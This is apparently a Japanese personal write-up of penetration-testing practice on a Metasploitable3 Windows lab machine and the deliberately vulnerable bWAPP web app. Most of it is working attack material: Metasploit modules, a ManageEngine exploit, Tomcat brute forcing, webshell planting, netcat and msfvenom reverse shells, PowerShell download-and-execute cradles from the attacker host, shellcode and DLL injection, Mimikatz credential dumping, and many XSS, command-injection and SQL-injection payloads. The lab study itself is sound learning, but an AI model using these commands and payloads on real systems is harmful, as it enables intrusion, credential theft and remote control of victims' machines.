ほかの人のWriteupでは動いてらしいがなんか成功しない……
Java RMI(1617)の調査
Java RMIとは、Java言語に標準で用意された機能の一つで、あるJavaオブジェクトから、異なるコンピュータ上で動作する別のJavaオブジェクトのメソッドを呼び出して実行することができるようにする仕組みらしい。
また、その機能を利用するために規定されたプログラム呼び出し規約らしい
Java Management Extensions (JMX) は、Java アプリケーションをモニタおよび管理するための仕様
JMX を使用すると、汎用管理システムでアプリケーションをモニタし、注意が必要なときに通知を生成し、アプリケーションの状態を変更して問題を解決できるらしい。
"jmx" AND ("javax.management.remote.rmi.RMIServerImpl_Stub" OR "java.rmi.server.RemoteStub" OR "java.rmi.server.RemoteObject") AND "exploit"
などでNmapの結果をGoogleで調べるとMetasploitでExploitが見つかったので試す
use multi/misc/java_jmx_server
Windows Remote Management (WinRM)(5985)の調査
5985ポートのMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)
はWindows Remote Management (WinRM)らしい
Windows を遠隔で操作する仕組み
コマンドで操作するらしい。
ポート5985が開いているがポート5986が閉じている場合、これはWinRMサービスがHTTP経由の接続のみを受け入れるように構成され、暗号化が有効になっていないらしい
use auxiliary/scanner/winrm/winrm_auth_methods
ログインできないと、Remote Code Executionはできないらしい。
ブルートフォースしてみたがダメ…
Mimikatz
を使用してクレデンシャル情報を取得する方法もあるらしいが今回は得られなかった(後述)
参考文献
pentestlab.blog
Elasticsearch(9200)の調査
Elasticsearch は Elastic 社が開発しているオープンソースの全文検索エンジンです。 大量のドキュメントから目的の単語を含むドキュメントを高速に抽出することができます。
nmapの結果から、バージョンは1.1.1であるとわかる
- use auxiliary/scanner/elasticsearch/indices_enum
- ElasticSearch Dynamic Script Arbitrary Java Execution
Googleで調べると、このバージョンは上記の脆弱性があるらしい
CVE-2014-3120
use exploit/multi/elasticsearch/script_mvel_rce
Webサービスの攻撃
8020 8022 8383ポート(ManageEngine)への攻撃
curl -v -X PUT -d "Test" http://192.168.56.35:8020/test.txt
niktoではPUTが可能と書いてあるので上記を試したがエラー
書き込み権限がないらしい(当然っちゃ当然か?)
upload
やdoc
,api
などには権限がなくアクセスできなかった。
デフォルトのクレデンシャル情報でLoginを試す!
User=admin, pass=adminでログイン成功!
version情報から有効なExploitを探す
- ManageEngine Desktop Central StatusUpdate - Arbitrary File Upload (Metasploit)
が有効っぽい?
This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral v7 to v9 build 90054 (including the MSP versions).
となっているのでBuild番号自体はExploit可能ではないが……
www.exploit-db.com
にMetasploitのExploitがあるが、Metasploit以外のExploitを探すと以下がヒット
manage-engine-exploit.py · GitHub
のExploitを実行してみると成功!
- python2 manageengine_exploit.py 192.168.56.35 8022 192.168.56.5 5555
Metasploitを使うと以下のようになる
- use exploit/windows/http/manageengine_connectionid_write
8282(tomcat)の攻撃
/host-manager/html
/manager/html
にTomcat managerが存在する
今回はtomcat8なので、デフォルトアカウントが存在しない(7以前には存在)
以下のLogin Brute Forceが有効!
https://www.obrela.com/blog/article/smart-way-brute-force-apache-tomcat-678/www.obrela.compython2 tomcat_bruteforce2.py -u user2.txt -p user2.txt -d 192.168.56.35:8282
また、GoogleでExploitを探した結果、以下の脆弱性が見つかった
PUTが許可されているのでこの脆弱性がありそうな気がするが、JSPファイルの書き込みができず、脆弱ではないらしい。
- python2 /usr/share/exploitdb/exploits/jsp/webapps/42966.py -u http://192.168.56.35:8282/
どうやら403でアクセス権限(書き込み権限?)がない??
- use exploit/multi/http/tomcat_jsp_upload_bypass
でも403となって成功しなかった
8484(Jenkins)の攻撃
Javaで書かれたオープンソース継続的インテグレーションツール.
継続的インテグレーションとは、ソフトウェア開発において、ビルドやテストを頻繁に繰り返し行なうことにより問題を早期に発見し、開発の効率化・省力化や納期の短縮を図る手法。
特に、専用のツールを用いてこのプロセスを自動化あるいは半自動化し、効率的に実施する方式。
らしい
下の方にJenkinsのバージョンが見えている
Jenkinsには、Jenkinsマスターランタイム内またはエージェントのランタイム内で任意のGroovyスクリプトを実行できるGroovyスクリプトコンソールがあります。
JenkinsランタイムへのWebベースのGroovyシェルです。Groovyは非常に強力な言語であり、Javaでできることはほとんど何でも実行できます。
サブプロセスを作成し、Jenkinsマスターとエージェントで任意のコマンドを実行します。
ログインパスワードのないJenkinsを見つけた場合、またはスクリプトコンソールにアクセスする権限を持つ通常のユーザーである場合、この特権を悪用してマシンのリバースシェルを取得できる
今回は/script
でScript Consoleにアクセスできたのでそこからリバースシェルを実行できそう
以下を参考にする
www.hackingarticles.in
def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'ipconfig'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr"
を実行すると、以下のように結果が得られた
以下を埋め込むとリバースシェルを実行できる
gist.github.com
- use exploits/multi/http/jenkins_script_console
Metasploitにも存在
ちなみに、Googleで調べたExploitは不発
バージョンはピッタリなのになんでだろう?
8585(webdav,wordpress)の攻撃
Webdavの攻撃
davtest -url http://192.168.56.35:8585/uploads/
Webshellのアップロードが可能!
Wordpressの攻撃
wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u
wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
User=vagrant,password=vagrantでログイン
PluginのPHPコードを書き換える
なんかエラー出てるが、Webshellの設置成功!
/wordpress/wp-content/plugins/ninja-forms/ninja-forms.php?cmd=ls
Reverse Shell
wordpress
のWebshellからReverse shellを実行する
www.hackingarticles.innetcat
nc.exe -nlvp 4444 -e cmd.exe
bind shellは成功せずnc.exe 192.168.1.101 443 -e cmd.exe
reverse shellも成功せず
Certutil.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler set lhost 192.168.56.5 set lport 4444
certutil.exe -urlcache -split -f http://192.168.56.5/share/shell.exe shell.exe & shell.exe
ダメだった。
しかし、すでにSSHなどから得られているプロンプト上から実行するとうまく行った……
powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1');powercat -c 192.168.56.5 -p 4444 -e cmd"
で成功!!
Local Privilege Escalation
基本的に以下を参照する
github.com
https://www.puckiestyle.nl/windows-privilege-escalation/
Enum tools
windows-privesc-check2.exe
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/windows-privesc-check/windows-privesc-check2.exe\", \"C:\\Users\\Public\\Downloads\\windows-privesc-check2.exe\");
windows-privesc-check2.exe --audit -a
出力が多すぎない?
Sherlock
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Sherlock/Sherlock.ps1'))"
でダウンロードして実行
これらを試してみたが成功しなかった。
JAWS
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/JAWS/jaws-enum.ps1'))"
など
SessionGopher
PuTTY、WinSCP、FileZilla、SuperPuTTY、およびRDPの保存済みセッション情報を静かに掘り下げる
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/SessionGopher/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"
Beroot
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/BeRoot/beRoot.exe\", \"C:\\Users\\Public\\Downloads\\beRoot.exe\");
WindowsEnum
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/WindowsEnum/WindowsEnum.ps1'));"
Powerless
certutil.exe -urlcache -split -f "http://192.168.56.5:8000/Powerless/Powerless.bat"
Powerless.bat
出力多い……
参考
github.com
PowerUp.ps1
Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
- `unquoted servicepaths`<br>
- `service executable`<br>
- `argument permissions`<br>
に注目するらしい
Manual
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
””で囲まれていないパスやスペースがあるようなプロセスがあると、そのプログラムの代わりに悪意のあるプログラムをその場所に設置して実行されられるらしい。
以上で、””で囲まれていないようなプロセスを列挙している。
[f:id:kakyouim:20200216205526p:plain]- tomcat-users.xml
Tomcatはデフォルトではrootで起動しているのでtomcatのクレデンシャル情報の取得は権限昇格にも使えるかも cd C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf
type tomcat-users.xml
[f:id:kakyouim:20200216210745p:plain]
PowerSploit
Invoke-AllChecks
- Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
Install-ServiceBinary
Install-ServiceBinary -Name 'OpenSSHd'
既存のバイナリをjohnというユーザーを追加した新しいバイナリに置き換える
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Install-ServiceBinary -Name 'OpenSSHd'"
以下のようなエラーが発生
net stop OpenSSHd
で一度これを停止させてからやると成功!
net start OpenSSHd
で再起動しようとするとエラー。
SSHが使えなくなった……
net user
でjohnが追加されていることが確認できる!
net user john
で確認
- use exploit/windows/smb/psexec
ほかの人のWriteupではこれでuser=john,password=Password123!
でSYSTEM権限が得られていたが、なんかうまく行かない……
ちなみに、
Install-ServiceBinary -Name 'jenkins'
で同じく試すと別のerror。
Invoke-Shellcode.ps1
Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force
プロセスにshellcodeを注入して実行する
SYSTEM権限で実行されているプロセスに注入することで権限昇格できるかも
payloadは
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
しかサポートしてないらしいwget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Invoke-Shellcode.ps1'));Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force"
ProcessIDを指定しないと、現在のPowershellプロセスにshellcodeを注入するらしい
途中までうまく行ってたのになんかエラー
Invoke-DllInjection.ps1
- Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=5555 -f dll > msf.dll
で悪意のあるDLLを作成して標的のディスク上に配置しないといけない
DLL Injectionは現在実行中のプロセスに悪意のあるDLLの存在するパスを書き込んでロードさせるもの
ロードされたDLLはそのプロセスの権限で実行されるpowershell -Command "Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden"
powershell -Command "Get-Process notepad"
certutil.exe -urlcache -split -f "http://192.168.56.5/share/msf.dll"
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/CodeExecution/Invoke-DllInjection.ps1'));Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll"
ちなみに、SYSTEMで動いているであろうTomcatにDLLInjectionを試してみると、
となって失敗した。
どうやら管理者のPowershellじゃないとだめらしい。
参考
blog.opensecurityresearch.com
www.elastic.co
Get-VaultCredential
Get-VaultCredential
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/Exfiltration/Get-VaultCredential.ps1')); Get-VaultCredential"
なにも表示されなかった
Find-ProcessDLLHijack
Find-ProcessDLLHijack
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Find-ProcessDLLHijack "
こういうのが何個か結果として得られた
DLLHijackはDLL Injectionとは違って、正しいDLLが読み込まれる際にそのDLLの代わりに悪意のあるDLLが読み込まれるようにしたもの
アプリケーションが普通のディレクトリにInstallされていたり、""
で囲まれておらずスペースが含まれている場合にバイパスできる
Get-System
Get-System -Technique NamedPipe
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/Get-System.ps1')); Get-System -Technique NamedPipe"
権限の問題で失敗……
参考
yojimbosecurity.ninja
Get-DllLoadPath.ps1
Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll
のように使う
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PEtools/Get-DllLoadPath.ps1')); Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll"
参考
github.com
resources.infosecinstitute.com
Mimikatz
- mimikatz.exe
以下でダウンロードする。
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimidrv.sys\", \"C:\\Users\\Public\\Downloads\\mimidrv.sys\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimikatz.exe\", \"C:\\Users\\Public\\Downloads\\mimikatz.exe\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimilib.dll\", \"C:\\Users\\Public\\Downloads\\mimilib.dll\")"
以下でmimikatz.exeを実行してクレデンシャル情報を探すが、今回は失敗
mimikatz log version "sekurlsa::logonpasswords" exit
- Invoke-Mimikatz.ps1
以下でディスクに置かずに実行できるだめAVに引っかかりにくいらしい
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Mimikatz/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds"
Metasploit
sshを介して得たuser=vagrant
のmeterpreterセッション上で
getsystem
を実行するとSYSTEMになれた!
名前付きパイプの偽装による権限昇格が成功した様子
名前付きパイプとは、同じコンピュータ上で動作しているプログラム同士がデータをやり取りするプロセス間通信(IPC)の有力な方式の一つ。
Windowsのセキュリティはスレッドを実行するユーザーをトークンで識別しますが、 名前付きパイプのサーバーはクライアントのトークンを偽装できます。
偽装するというのは、サーバーがクライアントのアカウントとしてコードを実行するということであり、 オブジェクトへのアクセスをクライアントとして行いたい場合に便利
つまり、cmd.exeへの名前付きパイプを作成しておいて、そこにSYSTEMであると偽ってMeterpreterが接続すると、SYSTEM権限でのcmd.exeの実行が可能になるということ?
blog.cobaltstrike.com
以下のPowerSploitのExploitでもおそらく可能
yojimbosecurity.ninja
参考文献
zero-day.io
www.ceyhuncamli.com.tr
wjmccann.github.io
https://www.yeahhub.com/list-metasploit-exploits-modules-metasploitable3-vulnerable-machine/
www.mrb3n.com
最後
権限昇格のやり方が全然よくわかってないのでちゃんと勉強しないとダメだなあ
powershellに頼りきりだけどWindows7より前の標的にはどうやって権限昇格するんだろうか……
なんもわからん
bWAPP: bee-box writeup
ぺネトレの基本を押さえるためにBee-boxの問題全部解くぞ!!
全部解いたら、あとでほかのマシンを攻略するときの良いまとまった参考資料になる気がするぞ!
あんまりよくわかってないので間違ってたりしてたら指摘していただけると幸いです。
- A1-Injection
- HTML Injection - Reflected (GET)
- HTML Injection - Reflected (POST)
- HTML Injection - Reflected (URL)
- HTML Injection - Stored (Blog)
- iFrame Injection
- Mail Header Injection (SMTP)
- OS Command Injection
- OS Command Injection – Blind
- PHP Code Injection
- Server-Side Includes (SSI) Injection
- SQL Injection (GET/Search)
- SQL Injection (GET/Select)
- SQL Injection (POST/Search)
- SQL Injection (POST/Select)
- SQL Injection (AJAX/JSON/jQuery)
- Manual Intervention Required
- SQL Injection (Login Form/Hero)
- SQL Injection (Login Form/User)
- SQL Injection (SQLite)
- Drupal SQL Injection (Drupageddon)
- SQL Injection - Stored (Blog)
- SQL Injection - Stored (SQLite)
- SQL Injection - Stored (User-Agent)
- SQL Injection - Stored (XML)
- SQL Injection - Blind - Boolean-Based
- SQL Injection - Blind - Time-Based
- SQL Injection - Blind (SQLite)
- SQL Injection - Blind (WS/SOAP)
- XML/XPath Injection (Login Form)
- XML/XPath Injection (Search)
- A2 Broken Auth. & Session Mgmt.
- Broken Auth. - CAPTCHA Bypassing
- Broken Auth. - Forgotten Function
- Broken Auth. - Insecure Login Forms
- Broken Auth. - Logout Management
- Broken Auth. - Password Attacks
- Broken Auth. - Weak Passwords
- Session Mgmt. - Administrative Portals
- Session Mgmt. - Cookies (HTTPOnly)
- Session Mgmt. - Cookies (Secure)
- Session Mgmt. - Session ID in URL
- Session Mgmt. - Strong Sessions
- A4 – Insecure Direct Object References
- A5 – Security Misconfiguration
- A6 - Sensitive Data Exposure
- A7 - Missing Functional Level Access Control
- A9 - Using Known Vulnerable Components
- Other bugs
以下にBee-boxのソースコードが上がっています
https://github.com/theand-fork/bwapp-code/tree/master/bWAPP
https://github.com/lmoroz/bWAPP/tree/master/bWAPP
A1-Injection
HTML Injection - Reflected (GET)
- low
反射型なので、送信したスクリプトはサーバーに保存されない
<h1>aa</h1>
,<script>alert("a")</script>
。いつもの。
- medium
lowと同様にしているがうまく行かず。<>がどうやら& lt;
などにHtmlエンコードされている様子。
URLencodeすると解決! - hard
<?php function xss_check_3($data, $encoding = "UTF-8"){ return htmlspecialchars($data, ENT_QUOTES, $encoding); } print xss_check_3($data); ?>
となっているため、脆弱ではありません
以後、基本的にhardは脆弱ではありません。
HTML Injection - Reflected (POST)
GETと同じ
MediumもURLエンコードで解決。
HTML Injection - Reflected (URL)
ソースコードは次の通り
通常、document.url
、document.write
、document.location
は、適切に処理されない場合、DOM XSSの下にあるらしい。
反射型との違いは、クライアントサイドスクリプトの脆弱性を利用することらしいです(よくわからん)
- low
- medium
GET /bWAPP/htmli_current_url.php?<h1>aa</h1><h2>aa</h2>
GET /bWAPP/htmli_current_url.php#<h1>aa</h1><h2>aa</h2>
HTML Injection - Stored (Blog)
- low
<h1>aa</h1>
ができてる
また、以下のスクリプトでWebshellを設置できる
<?php echo 'Uploader<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?>
iFrame Injection
- low
iframeとは、src属性で指定したURL(リンク先ページの内容)をインラインフレーム表示できるHTMLタグの一つ
ソースコードはこうなっている。
GET /bWAPP/iframei.php?ParamUrl=iframei.php&ParamWidth=250&ParamHeight=250
のParamUrl
の値を変更するとそのページがインライン表示された!
また、ParamUrl="></iframe><h1>a</h1><iframesrc="
で、以下のように挿入できる
- medium
lowと同じ方法でやったがダメだった
ソースコードを見ると、下のようになっているので、シングルクォート('), ダブルクォート("),バックスラッシュ () ,NUL (NULL バイト)が弾かれて、先頭にバックスラッシュが付与される。
Mediumではsrc=robots.txt
で固定で、PramWidth
でaddslash()が使われている
addslash()
が使われているとき、%bf%5c”
と書くと、”
が書けるらしい
%bf%5c'
と入力すると、%bf%5c
が中国語のMultiByteで?
となって、後ろの’
がフィルタリングされないらしい。
/bWAPP/iframei.php?ParamUrl=1%bf%5c'&ParamWidth=1%bf%5c"></iframe><h1>aa</h1>&ParamHeight=250
で、下のようになり成功した!
参考文献:
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html
Mail Header Injection (SMTP)
name = wagn \ nbcc:io098093oiscx0123@mailinator.com&email=bwapp%40mailinator.com&remarks=144&form=submit
とかでBCCを追加できるらしい
つまり、BCCとかをSMTPに解釈させることができる。BCCとしてメールを送り付けることができるらしい。
OS Command Injection
- low
www.nsa.gov;id
とすると下のように実行できている
- medium
ソースコードを見ると、以下のようになっている
www.nsa.gov | id
とすればよい
OS Command Injection – Blind
- low
先ほどと同じようにする
- medium
192.168.56.5|sleep 10
でいけた
PHP Code Injection
phpi.php?message=exec(id)
でいけた
ソースコードを見た感じ、MediumもHardも同じくspecialcharacters()でフィルタリングされてる。
Server-Side Includes (SSI) Injection
- low
ssii.shtmlに、htmlをインクルードしているらしい。CGIを使わずに動的にページを作成するときに使われる。
<script>alert("a")</script>
でいけた!
<!-- exec cmd="pwd" -->
でも行けるらしい - medium
single quote ('), double quote ("), backslash () and NUL (the NULL byte) がaddslash()でフィルタされているだけなので、
<h1>a</h1>
でいけた
SQL Injection (GET/Search)
' or '1'='1
,' order by 7-- -
,' Union select 1,2,3,4,5,6,7 -- -
が成功している
ソースコードは以下の通り
SQL Injection (GET/Select)
GETメソッドで'
を入れると以下のようにエラーが出た
'1 and '1'='1
を入力すると以下のようなエラー
1 and 1=1
とすると動く
ソースコードを見てみる
id = (入力)
となっている
idの属性が文字列型の時は’’
が必要で、整数型の時は''
は必要ないらしい。
1 and 1=0 union all select 1,2,3,4,5,6,7 --
で成功する
and 1=0
を入れないと、union selectでSelectした値が1で上書きされてしまうため、必要。
1 union all select 1,2,3,4,5,6,7 --
は不十分
SQL Injection (POST/Search)
' or '1'='1
,' order by 6 -- -
,' Union select 1,2,3,4,5,6,7 -- -
SQL Injection (POST/Select)
1 and 1=0 union all select 1,2,3,4,5,6,7 --
をPOSTする
SQL Injection (AJAX/JSON/jQuery)
' or '1'='1
でいけている
' union select 1,table_schema,table_name,4,5,6,7 from information_schema.tables -- -
などでも確認
また、ソースコードを確認してみると、
.getJSON("sqli_10-2.php", search, function(data) と書いてある。
HTTPのGET通信を行い、json形式に変換されたデータをサーバから受け取っているのでブラウザからGETで送信しても確認
Manual Intervention Required
普通に表示されているのを入力して、
SQL Injection (Login Form/Hero)
‘ or ‘1’ = ‘1
で行けてる。いつものと同じ(は?)
$login = $_POST["login"]; $login = sqli($login); $password = $_POST["password"]; $password = sqli($password); $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'"; // echo $sql; $recordset = mysqli_query($link, $sql); if(!$recordset) { die("Error: " . mysqli_error()); } else { $row = mysqli_fetch_array($recordset); if($row["login"]) { // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>"; $message = "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>"; // $message = $row["login"]; }
つまり、「Selectで入力されたユーザーがDBに登録されているかどうかを調べて、戻り値に誰かしらのユーザーが存在すればそのユーザとしてログインする」認証において、or 1=1
とすることですべてのユーザーを戻り値として受け取るのでログインできている(?)
SQL Injection (Login Form/User)
'
を入力すると、
‘ or ‘1’ = ‘1
,' or '1' = '1 -- -
を入力すると、
SQLエラーは起きていないので、普通に認証の段階でつまずいている
今回は、user名はSQLで入力されたユーザをDBから戻り値として取ってくるが、passwordはSQLに含まれておらず、DBからの戻り値のユーザのパスワードと入力されたパスワードが一致しているかどうかを確認している
こちらはpasswordまではわからないのでuser:' or '1' = '1 -- -
,password:本当のパスワード
としない限りこれでは成功しない。
$login = $_POST["login"]; $login = sqli($login); $password = $_POST["password"]; $password = sqli($password); $password = hash("sha1", $password, false); $sql = "SELECT * FROM users WHERE login = '" . $login . "'"; // echo $sql; $recordset = mysqli_query($link, $sql); if(!$recordset) { die("Error: " . mysqli_error()); } else { $row = mysqli_fetch_array($recordset); if($row["login"] && $password == $row["password"]) { // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>"; $message = "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>"; // $message = $row["login"]; }
ただし、認証に失敗したとしてもSQL文は実行できているのでBlind Injectionはできる!
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
' or if((select version()) like "5%", sleep(10), null) -- -
が確認できた。
また、Error-basedの
' AND extractvalue(rand(),concat(0x3a,version()))-- -
を試したところ、実行はエラーでできていないが、結果的にデータベース名が判明している(それしかわからないが……)
参考:
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md
SQL Injection (SQLite)
' or '1' = '1
でいけた
' Union select 1,2,sqlite_version(),4,5,6 -- -
でもいけた。
' Union select 1,2,version(),4,5,6 -- -
だとエラーが発生。
Drupal SQL Injection (Drupageddon)
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.56.8/drupal -u sample -p sample
でCVE-2014-3704に対応したエクスプロイトを実行
user:sample,password:sampleを作成するエクスプロイト
ペイロードは下の通り
/drupal/にいってログインしてみるとできる!
ちなみに、Metasploitにもエクスプロイトがあるのでそっちも試してみます
use multi/http/drupal_drupaggeddon
を使う
Metasploitのpayloadは下の通り。わけわかりませんね
SQL Injection - Stored (Blog)
格納型のSQLInjetionですね。POSTで送るデータでSQLInjetionできそうです
この入力に対して、以下のようなエラー
' or '1' = '1
を入力すると、エラーせずすべて表示されたので、SQLiの脆弱性があります
' order by 1 -- -
も試したが、エラーが出てしまった。コメントアウトができないようです。
なのでUNION SELECTとかは厳しそうですね
次にblind injectionを試してみます
- Boolead-based
- Error-based
- Time-based
' RLIKE (SELECT (CASE WHEN (9042=9042) THEN 0x61 ELSE 0x28 END)) AND 'NOrf'='NOrf
OR ROW(4201,1873)>(SELECT COUNT(*),CONCAT(0x71626a7671,(SELECT (ELT(4201=4201,1))),0x716b6a7171,FLOOR(RAND(0)*2))x FROM (SELECT 2894 UNION SELECT 1505 UNION SELECT 8532 UNION SELECT 9010)a GROUP BY x) AND 'REVp'='REVp
AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
これらでうまく行っています!これらはSqlmap先輩が出力したpayloadです
これらのペイロードは割とよく見る気がするので覚えた方がよいかも
また、' or sleep(5) or '1'='1
でも行けてますね。
どうやら、最後にコメントアウトを入れることができないので '1'='1
で最後をエラーが出ないような形にしてあげれば良さそうです
参考文献:
SQLiのcheat sheet
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md
Error-basedなどが詳しく書いてある
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
SQL Injection - Stored (SQLite)
' or '1' = '1
や'
を試してみるが、エラーは特に表示されない
この問題は格納型なので、INSERT INTO テーブル名 VALUES ( ‘値1′ [ , ‘値2’ ]・・・);
というソースコードになっているはず。
なので、試しに','');
を入力してみると、下のように空白が記憶されている
そこで、',sqlite_version());
を入力すると、下のようにバージョンが表示されている
',(select name from sqlite_master where type='table'));
を入力すると、以下のようになった.
よって任意のデータが読みだせますね
ちなみに、ソースコードは、下のようになっており、$entryに入力される
$sql = "INSERT INTO blog (id, date, entry, owner) VALUES (" . ++$id . ",'" . date('Y-m-d', time()) . "','" . $entry . "','" . $owner . "');";
参考文献
https://teckk2.github.io/web-pentesting/2018/02/07/SQL-Injection-Stored-(SQLite).html
SQL Injection - Stored (User-Agent)
User-AgentにSQLInjetionできそうです
Burpで'
をUser-Agentに入力してみます
とすると、内部エラーが出力されたのでSQLInjetionできます。
' or '1'='1
を入力すると、エラーなくすべて表示されました。
' order by 1 or '1'='1
を入力すると、以下のようなエラーが表示されました
この形から、INSERT INTO テーブル名 VALUES ( ‘値1’,’useragent’,’ipaddress’);
となっていることが予想されます。
先ほどの','');-- -
を試してみると、次のように空白が表示されています!
',database());-- -
などで成功しています!
また、Time-basedの' or sleep(5) or '1'='1
でも成功しました!
